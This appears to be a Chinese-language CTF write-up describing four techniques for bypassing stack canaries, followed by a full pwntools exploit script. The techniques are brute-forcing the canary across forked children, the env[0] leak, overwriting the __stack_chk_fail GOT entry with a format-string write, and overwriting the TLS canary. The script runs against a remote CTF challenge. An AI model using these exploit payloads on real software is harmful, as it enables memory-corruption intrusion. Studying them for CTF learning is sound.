利用cannary解题在现在的CTF比赛中似乎已经过时了,只是为了学习了解一下。
目前我了解到的方式主要有以下4种
每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。
爆破次数:对于32位ELF,低字节固定是\x00,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。
function1
基本思路就是,程序通过fork出子进程,cannary不会变,程序崩溃后是不会退出,从低位到高位逐字节覆盖cannary即可,
如果程序已经将flag读取到了某一个位置上,通过修改env[0]为flag的位置上,利用stack_chk_fail会打印出env[0]来变相读出flag,但在高版本的glbic上已经过时
在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
利用格式化字符串漏洞更改stack_chk_fail got表
Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时或者任意地址写的时候,通过覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
格式化字符串漏洞,第一次泄漏栈地址,第二次修改TLS结构,第三次覆盖cannary即可
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
elf = ELF("./pwn")
#
if len(sys.argv) == 1:
p = remote("node4.buuoj.cn","29647")
#libc = ELF("./libc-2.27_64.so")
#onegadget_array = [0x45216,0x4526a,0xf02a4,0xf1147]
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.27.so")
#onegadget_array = [0x45216,0x4526a,0xf02a4,0xf1147]
else:
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug(gs):
if len(sys.argv) > 2:
gdb.attach(p,gs)
pause()
#raw_input()
context.log_level="debug"
get_flag_address = 0x4008F7
def attack1():
p.sendlineafter("Enter your choice: ","1")
payload = b"a"*0x48
cannary = b""
for i in range(0,8):
for j in range(0,0xff):
temp =payload + int.to_bytes(j,1,"little")
p.sendafter("welcome\n",temp)
result = p.recv(0x3)
print(b"[*]"+result)
if b"***" in result:
j+=1
else:
payload+= int.to_bytes(j,1,"little")
cannary = cannary+int.to_bytes(j,1,"little")
break
#print(u64(cannary))
log.info("cannary is 0x%x"%u64(cannary))
payload = b"a"*72
payload += p64(u64(cannary))+b"b"*8+p64(get_flag_address)
debug(gs = "set follow-fork-mode child\n b *0x4009A7")
pause()
p.sendafter("welcome\n",payload)
def attack2():
p.sendlineafter("Enter your choice: ","2")
flag_address = 0x6020E0
payload = b"a"*296+p64(flag_address)
p.sendafter("do!\n",payload)
def attack3():
__stack_chk_fail_got = elf.got["__stack_chk_fail"]
p.sendlineafter("Enter your choice: ","3")
get_flag_address = 0x4008F7
debug(gs="b *0x400B1C\n b*0x400B2D")
payload = b"a%4196598c%8$lln"+p64(__stack_chk_fail_got)
# payload = b"a"*296+p64(flag_address)
p.sendafter(b"Write something?\n",payload)
payload = b"a"*0x50
p.sendlineafter("Again?",payload)
def attack4():
# 0x42ff80
p.sendlineafter("Enter your choice: ","4")
payload = "aaaa%9$p"
p.sendafter("Write something?\n",payload)
p.recvuntil("aaaa0x")
cannary_stack_address = int(p.recv(12),16)+0x28
if cannary_stack_address&0xff !=0x28:
exit(0)
payload = b"aa%43688c%10$lln"+p64(cannary_stack_address)
p.sendafter("Write something?\n",payload)
payload = b"a"*0x38+p64(0xaaaa)+b"b"*8+p64(get_flag_address)
debug(gs="b *0x400BDE")
p.sendafter("Again?",payload)
log.info("cannary_stack_address:0x%x"%cannary_stack_address)
attack1()
attack2()
attack3()
attack4()
p.interactive()